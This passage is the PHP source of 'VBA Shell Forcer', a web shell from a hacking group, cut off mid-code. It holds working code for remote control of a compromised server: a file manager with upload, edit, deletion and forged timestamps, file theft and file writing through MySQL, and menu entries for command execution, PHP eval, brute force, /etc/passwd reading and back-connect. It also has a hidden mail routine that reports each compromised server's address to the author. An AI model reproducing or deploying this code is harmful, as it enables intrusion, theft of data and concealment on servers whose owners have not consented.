· 9 years ago · Feb 26, 2017, 03:10 PM
1<?php
2/****************************************\
3|* VBA SHELL FORCER - VERSION 2.1 *|
4|* Edit & Develop by VBATEAM *|
5|* [url]http://vbateam.net[/url] *|
6|* == Hacking & Security == *|
7\****************************************/
8
9error_reporting(7);
10@set_magic_quotes_runtime(0);
11ob_start();
12$mtime = explode(' ', microtime());
13$starttime = $mtime[1] + $mtime[0];
14define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
15//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
16define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
17define('IS_COM', class_exists('COM') ? 1 : 0 );
18define('IS_GPC', get_magic_quotes_gpc());
19$dis_func = get_cfg_var('disable_functions');
20define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
21@set_time_limit(0);
22
23foreach(array('_GET','_POST') as $_request) {
24 foreach($$_request as $_key => $_value) {
25 if ($_key{0} != '_') {
26 if (IS_GPC) {
27 $_value = s_array($_value);
28 }
29 $$_key = $_value;
30 }
31 }
32}
33
34/*================= Info Login ================*/
35$admin = array();
36$admin['check'] = false;
37$admin['pass'] = ''; // Password login
38$admin['cookiepre'] = '';
39$admin['cookiedomain'] = '';
40$admin['cookiepath'] = '/';
41$admin['cookielife'] = 86400;
42/*===================== End =====================*/
43
44if ($charset == 'utf8') {
45 header("content-Type: text/html; charset=utf-8");
46} elseif ($charset == 'big5') {
47 header("content-Type: text/html; charset=big5");
48} elseif ($charset == 'gbk') {
49 header("content-Type: text/html; charset=gbk");
50} elseif ($charset == 'latin1') {
51 header("content-Type: text/html; charset=iso-8859-2");
52}
53
54$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
55$timestamp = time();
56
57/*===================== Login =====================*/
58if ($action == "logout") {
59 scookie('vbapass', '', -86400 * 365);
60 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
61 p('<body background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>');
62 exit;
63}
64if($admin['check']) {
65 if ($doing == 'login') {
66 if ($admin['pass'] == $password) {
67 scookie('vbapass', $password);
68
69 // Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
70 $time_shell = "".date("d/m/Y - H:i:s")."";
71 $ip_remote = $_SERVER["REMOTE_ADDR"];
72 $from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
73 $to_email = '';
74 $server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
75 $linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
76 $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
77 @mail($to_email, $server_mail, $linkcr, $header);
78 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
79 p('<body background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
80 <BR><BR><div align=center><font color=yellow face=tahoma size=2>Welcome back! VBA\'s Member - Please wait...<BR><img src=http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif></div>');
81 exit;
82 }
83 else
84 {
85 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
86 echo $err_mess;
87 }
88 }
89 if ($_COOKIE['vbapass']) {
90 if ($_COOKIE['vbapass'] != $admin['pass']) {
91 loginpage();
92 }
93 } else {
94 loginpage();
95 }
96}
97/*===================== Login =====================*/
98
99$errmsg = '';
100
101if ($action == 'phpinfo') {
102 if (IS_PHPINFO) {
103 phpinfo();
104 } else {
105 $errmsg = 'phpinfo() function has non-permissible';
106 }
107}
108
109
110if ($doing == 'downfile' && $thefile) {
111 if (!@file_exists($thefile)) {
112 $errmsg = 'The file you want Downloadable was nonexistent';
113 } else {
114 $fileinfo = pathinfo($thefile);
115 header('Content-type: application/x-'.$fileinfo['extension']);
116 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
117 header('Content-Length: '.filesize($thefile));
118 @readfile($thefile);
119 exit;
120 }
121}
122
123
124if ($doing == 'backupmysql' && !$saveasfile) {
125 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
126 $table = array_flip($table);
127 $result = q("SHOW tables");
128 if (!$result) p('<h2>'.mysql_error().'</h2>');
129 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
130 header('Content-type: application/unknown');
131 header('Content-Disposition: attachment; filename='.$filename);
132 $mysqldata = '';
133 while ($currow = mysql_fetch_array($result)) {
134 if (isset($table[$currow[0]])) {
135 $mysqldata .= sqldumptable($currow[0]);
136 }
137 }
138 mysql_close();
139 exit;
140}
141
142// Mysql
143if($doing=='mysqldown'){
144 if (!$dbname) {
145 $errmsg = 'Please input dbname';
146 } else {
147 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
148 if (!file_exists($mysqldlfile)) {
149 $errmsg = 'The file you want Downloadable was nonexistent';
150 } else {
151 $result = q("select load_file('$mysqldlfile');");
152 if(!$result){
153 q("DROP TABLE IF EXISTS tmp_angel;");
154 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
155 //Download SQL
156 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
157 $result = q("select content from tmp_angel");
158 q("DROP TABLE tmp_angel");
159 }
160 $row = @mysql_fetch_array($result);
161 if (!$row) {
162 $errmsg = 'Load file failed '.mysql_error();
163 } else {
164 $fileinfo = pathinfo($mysqldlfile);
165 header('Content-type: application/x-'.$fileinfo['extension']);
166 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
167 header("Accept-Length: ".strlen($row[0]));
168 echo $row[0];
169 exit;
170 }
171 }
172 }
173}
174
175?>
176<html>
177<head>
178<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
179<title><?php echo str_replace('.','','V.B.A. SHELL. - . E.d.i.t.e.d. b.y. F.E.R.N.A.N.D.O. - VBATeam[dot]Net');?></title>
180<style type="text/css">
181body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
182
183a {color: #74A202;text-decoration:none;}
184a:hover{color: #f00;text-decoration:underline;}
185.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
186.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
187.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
188.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
189.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
190.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
191.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
192.head td span{font-weight:normal;}
193form{margin:0;padding:0;}
194h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
195ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
196u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
197input, textarea, button
198{
199 font-size: 9pt;
200 color: #ccc;
201 font-family: verdana, sans-serif;
202 background-color: #202020;
203 border-left: 1px solid #74A202;
204 border-top: 1px solid #74A202;
205 border-right: 1px solid #74A202;
206 border-bottom: 1px solid #74A202;
207}
208select
209{
210 font-size: 8pt;
211 font-weight: normal;
212 color: #ccc;
213 font-family: verdana, sans-serif;
214 background-color: #202020;
215}
216
217</style>
218<script type="text/javascript">
219function CheckAll(form) {
220 for(var i=0;i<form.elements.length;i++) {
221 var e = form.elements[i];
222 if (e.name != 'chkall')
223 e.checked = form.chkall.checked;
224 }
225}
226function $(id) {
227 return document.getElementById(id);
228}
229function goaction(act){
230 $('goaction').action.value=act;
231 $('goaction').submit();
232}
233</script>
234</head>
235<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
236
237
238<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
239 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
240 <tr>
241 <td align="center" valign=center>
242 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
243 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
244 </div>
245 </td>
246 </tr>
247 </table>
248 </div>
249 <script>
250 var ld=(document.all);
251 var ns4=document.layers;
252 var ns6=document.getElementById&&!document.all;
253 var ie4=document.all;
254 if (ns4)
255 ld=document.loading;
256 else if (ns6)
257 ld=document.getElementById("loading").style;
258 else if (ie4)
259 ld=document.all.loading.style;
260 function init()
261 {
262 if(ns4){ld.visibility="hidden";}
263 else if (ns6||ie4) ld.display="none";
264 }
265 </script>
266
267
268
269
270<table width="100%" border="0" cellpadding="0" cellspacing="0">
271 <tr class="head_small">
272 <td width=100%>
273 <table width=100%><tr class="head_small"><td width=86px><a title="VBA Shell" href="<?php $self;?>"><img src=http://i382.photobucket.com/albums/oo263/vnhacker/vbateam.gif height=86 border=0></a></td><td>
274 <span style="float:right;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://vbateam.net" target="_blank"><?php echo str_replace('.','','V.B.A. T.e.a.m');?> Version 2.2</a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span>
275
276 <?php
277 $curl_on = @function_exists('curl_version');
278 $mysql_on = @function_exists('mysql_connect');
279 $mssql_on = @function_exists('mssql_connect');
280 $pg_on = @function_exists('pg_connect');
281 $ora_on = @function_exists('ocilogon');
282
283echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
284echo "PHP version: <b>".@phpversion()."</b> - ";
285 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
286 echo "MySQL: <b>";
287$mysql_on = @function_exists('mysql_connect');
288if($mysql_on){
289echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
290echo "MSSQL: <b>";
291$mssql_on = @function_exists('mssql_connect');
292if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
293echo "PostgreSQL: <b>";
294$pg_on = @function_exists('pg_connect');
295if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
296echo "Oracle: <b>";
297$ora_on = @function_exists('ocilogon');
298if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
299
300echo "Disable functions : <b>";
301if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
302
303echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
304echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
305 ?>
306 </td></tr></table></td>
307 </tr>
308 <tr class="alt1">
309 <td width=100%><span style="float:right;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>
310
311 <a href="javascript:goaction('file');">File Manager</a> |
312 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
313 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
314 <a href="javascript:goaction('shell');">Execute Command</a> |
315 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
316 <a href="javascript:goaction('eval');">Eval PHP Code</a>
317 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
318 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
319 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
320 </td>
321 </tr>
322</table>
323<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
324<?php
325
326formhead(array('name'=>'goaction'));
327makehide('action');
328formfoot();
329
330$errmsg && m($errmsg);
331
332// Dir function
333!$dir && $dir = '.';
334$nowpath = getPath(SA_ROOT, $dir);
335if (substr($dir, -1) != '/') {
336 $dir = $dir.'/';
337}
338$uedir = ue($dir);
339
340if (!$action || $action == 'file') {
341
342 // Non-writeable
343 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
344
345 // Delete dir
346 if ($doing == 'deldir' && $thefile) {
347 if (!file_exists($thefile)) {
348 m($thefile.' directory does not exist');
349 } else {
350 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
351 }
352 }
353
354 // Create new dir
355 elseif ($newdirname) {
356 $mkdirs = $nowpath.$newdirname;
357 if (file_exists($mkdirs)) {
358 m('Directory has already existed');
359 } else {
360 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
361 @chmod($mkdirs,0777);
362 }
363 }
364
365 // Upload file
366 elseif ($doupfile) {
367 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
368 }
369
370 // Edit file
371 elseif ($editfilename && $filecontent) {
372 $fp = @fopen($editfilename,'w');
373 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
374 @fclose($fp);
375 }
376
377 // Modify
378 elseif ($pfile && $newperm) {
379 if (!file_exists($pfile)) {
380 m('The original file does not exist');
381 } else {
382 $newperm = base_convert($newperm,8,10);
383 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
384 }
385 }
386
387 // Rename
388 elseif ($oldname && $newfilename) {
389 $nname = $nowpath.$newfilename;
390 if (file_exists($nname) || !file_exists($oldname)) {
391 m($nname.' has already existed or original file does not exist');
392 } else {
393 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
394 }
395 }
396
397 // Copu
398 elseif ($sname && $tofile) {
399 if (file_exists($tofile) || !file_exists($sname)) {
400 m('The goal file has already existed or original file does not exist');
401 } else {
402 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
403 }
404 }
405
406 // File exit
407 elseif ($curfile && $tarfile) {
408 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
409 m('The goal file has already existed or original file does not exist');
410 } else {
411 $time = @filemtime($tarfile);
412 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
413 }
414 }
415
416 // Date
417 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
418 if (!@file_exists($curfile)) {
419 m(basename($curfile).' does not exist');
420 } else {
421 $time = strtotime("$year-$month-$day $hour:$minute:$second");
422 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
423 }
424 }
425
426 // Download
427 elseif($doing == 'downrar') {
428 if ($dl) {
429 $dfiles='';
430 foreach ($dl as $filepath => $value) {
431 $dfiles.=$filepath.',';
432 }
433 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
434 $dl=explode(',',$dfiles);
435 $zip=new PHPZip($dl);
436 $code=$zip->out;
437 header('Content-type: application/octet-stream');
438 header('Accept-Ranges: bytes');
439 header('Accept-Length: '.strlen($code));
440 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
441 echo $code;
442 exit;
443 } else {
444 m('Please select file(s)');
445 }
446 }
447
448 // Delete file
449 elseif($doing == 'delfiles') {
450 if ($dl) {
451 $dfiles='';
452 $succ = $fail = 0;
453 foreach ($dl as $filepath => $value) {
454 if (@unlink($filepath)) {
455 $succ++;
456 } else {
457 $fail++;
458 }
459 }
460 m('Deleted file have finished��choose '.count($dl).' success '.$succ.' fail '.$fail);
461 } else {
462 m('Please select file(s)');
463 }
464 }
465
466 // Function Newdir
467 formhead(array('name'=>'createdir'));
468 makehide('newdirname');
469 makehide('dir',$nowpath);
470 formfoot();
471 formhead(array('name'=>'fileperm'));
472 makehide('newperm');
473 makehide('pfile');
474 makehide('dir',$nowpath);
475 formfoot();
476 formhead(array('name'=>'copyfile'));
477 makehide('sname');
478 makehide('tofile');
479 makehide('dir',$nowpath);
480 formfoot();
481 formhead(array('name'=>'rename'));
482 makehide('oldname');
483 makehide('newfilename');
484 makehide('dir',$nowpath);
485 formfoot();
486 formhead(array('name'=>'fileopform'));
487 makehide('action');
488 makehide('opfile');
489 makehide('dir');
490 formfoot();
491
492 $free = @disk_free_space($nowpath);
493 !$free && $free = 0;
494 $all = @disk_total_space($nowpath);
495 !$all && $all = 0;
496 $used = $all-$free;
497 $used_percent = @round(100/($all/$free),2);
498 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
499
500?>
501<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
502 <form action="" method="post" id="godir" name="godir">
503 <tr>
504 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
505 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
506 <td nowrap><input class="bt" value="GO" type="submit"></td>
507 </tr>
508 </form>
509</table>
510<script type="text/javascript">
511function createdir(){
512 var newdirname;
513 newdirname = prompt('Please input the directory name:', '');
514 if (!newdirname) return;
515 $('createdir').newdirname.value=newdirname;
516 $('createdir').submit();
517}
518function fileperm(pfile){
519 var newperm;
520 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
521 if (!newperm) return;
522 $('fileperm').newperm.value=newperm;
523 $('fileperm').pfile.value=pfile;
524 $('fileperm').submit();
525}
526function copyfile(sname){
527 var tofile;
528 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
529 if (!tofile) return;
530 $('copyfile').tofile.value=tofile;
531 $('copyfile').sname.value=sname;
532 $('copyfile').submit();
533}
534function rename(oldname){
535 var newfilename;
536 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
537 if (!newfilename) return;
538 $('rename').newfilename.value=newfilename;
539 $('rename').oldname.value=oldname;
540 $('rename').submit();
541}
542function dofile(doing,thefile,m){
543 if (m && !confirm(m)) {
544 return;
545 }
546 $('filelist').doing.value=doing;
547 if (thefile){
548 $('filelist').thefile.value=thefile;
549 }
550 $('filelist').submit();
551}
552function createfile(nowpath){
553 var filename;
554 filename = prompt('Please input the file name:', '');
555 if (!filename) return;
556 opfile('editfile',nowpath + filename,nowpath);
557}
558function opfile(action,opfile,dir){
559 $('fileopform').action.value=action;
560 $('fileopform').opfile.value=opfile;
561 $('fileopform').dir.value=dir;
562 $('fileopform').submit();
563}
564function godir(dir,view_writable){
565 if (view_writable) {
566 $('godir').view_writable.value=1;
567 }
568 $('godir').dir.value=dir;
569 $('godir').submit();
570}
571</script>
572 <?php
573 tbhead();
574 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
575 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
576 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
577 if ($view_writable) {
578 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
579 } else {
580 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
581 }
582 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
583 if (IS_WIN && IS_COM) {
584 $obj = new COM('scripting.filesystemobject');
585 if ($obj && is_object($obj)) {
586 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
587 foreach($obj->Drives as $drive) {
588 if ($drive->DriveType == 2) {
589 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
590Free:'.sizecount($drive->FreeSpace).'
591Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
592 } else {
593 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
594 }
595 }
596 }
597 }
598
599 p('</td></tr></form>');
600
601 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
602
603 // Get path
604 $dirdata=array();
605 $filedata=array();
606
607 if ($view_writable) {
608 $dirdata = GetList($nowpath);
609 } else {
610 // Open dir
611 $dirs=@opendir($dir);
612 while ($file=@readdir($dirs)) {
613 $filepath=$nowpath.$file;
614 if(@is_dir($filepath)){
615 $dirdb['filename']=$file;
616 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
617 $dirdb['dirchmod']=getChmod($filepath);
618 $dirdb['dirperm']=getPerms($filepath);
619 $dirdb['fileowner']=getUser($filepath);
620 $dirdb['dirlink']=$nowpath;
621 $dirdb['server_link']=$filepath;
622 $dirdb['client_link']=ue($filepath);
623 $dirdata[]=$dirdb;
624 } else {
625 $filedb['filename']=$file;
626 $filedb['size']=sizecount(@filesize($filepath));
627 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
628 $filedb['filechmod']=getChmod($filepath);
629 $filedb['fileperm']=getPerms($filepath);
630 $filedb['fileowner']=getUser($filepath);
631 $filedb['dirlink']=$nowpath;
632 $filedb['server_link']=$filepath;
633 $filedb['client_link']=ue($filepath);
634 $filedata[]=$filedb;
635 }
636 }// while
637 unset($dirdb);
638 unset($filedb);
639 @closedir($dirs);
640 }
641 @sort($dirdata);
642 @sort($filedata);
643 $dir_i = '0';
644 foreach($dirdata as $key => $dirdb){
645 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
646 $thisbg = bg();
647 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
648 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
649 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
650 p('<td nowrap>'.$dirdb['mtime'].'</td>');
651 p('<td nowrap>--</td>');
652 p('<td nowrap>');
653 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
654 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
655 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
656 p('</tr>');
657 $dir_i++;
658 } else {
659 if($dirdb['filename']=='..') {
660 p('<tr class=fout>');
661 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
662 p('</tr>');
663 }
664 }
665 }
666
667 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
668 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
669 makehide('action','file');
670 makehide('thefile');
671 makehide('doing');
672 makehide('dir',$nowpath);
673 $file_i = '0';
674 foreach($filedata as $key => $filedb){
675 if($filedb['filename']!='..' && $filedb['filename']!='.') {
676 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
677 $thisbg = bg();
678 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
679 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
680 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
681 p('<td nowrap>'.$filedb['mtime'].'</td>');
682 p('<td nowrap>'.$filedb['size'].'</td>');
683 p('<td nowrap>');
684 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
685 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
686 p('<td nowrap>');
687 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
688 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
689 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
690 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
691 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
692 p('</td></tr>');
693 $file_i++;
694 }
695 }
696 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
697 p('</form></table>');
698}// end dir
699
700elseif ($action == 'sqlfile') {
701 if($doing=="mysqlupload"){
702 $file = $_FILES['uploadfile'];
703 $filename = $file['tmp_name'];
704 if (file_exists($savepath)) {
705 m('The goal file has already existed');
706 } else {
707 if(!$filename) {
708 m('Please choose a file');
709 } else {
710 $fp=@fopen($filename,'r');
711 $contents=@fread($fp, filesize($filename));
712 @fclose($fp);
713 $contents = bin2hex($contents);
714 if(!$upname) $upname = $file['name'];
715 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
716 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
717 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
718 }
719 }
720 }
721?>
722<script type="text/javascript">
723function mysqlfile(doing){
724 if(!doing) return;
725 $('doing').value=doing;
726 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
727 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
728 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
729 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
730 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
731 $('mysqlfile').charset.value=$('dbinfo').charset.value;
732 $('mysqlfile').submit();
733}
734</script>
735<?php
736 !$dbhost && $dbhost = 'localhost';
737 !$dbuser && $dbuser = 'root';
738 !$dbport && $dbport = '3306';
739 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
740 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
741 makehide('action','sqlfile');
742 p('<p>');
743 p('DBHost:');
744 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
745 p(':');
746 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
747 p('DBUser:');
748 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
749 p('DBPass:');
750 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
751 p('DBName:');
752 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
753 p('DBCharset:');
754 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
755 p('</p>');
756 formfoot();
757 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
758 p('<h2>Upload file</h2>');
759 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
760 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
761 p('<h2>Download file</h2>');
762 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
763 makehide('dbhost');
764 makehide('dbport');
765 makehide('dbuser');
766 makehide('dbpass');
767 makehide('dbname');
768 makehide('charset');
769 makehide('doing');
770 makehide('action','sqlfile');
771 p('</form>');
772}
773
774elseif ($action == 'sqladmin') {
775 !$dbhost && $dbhost = 'localhost';
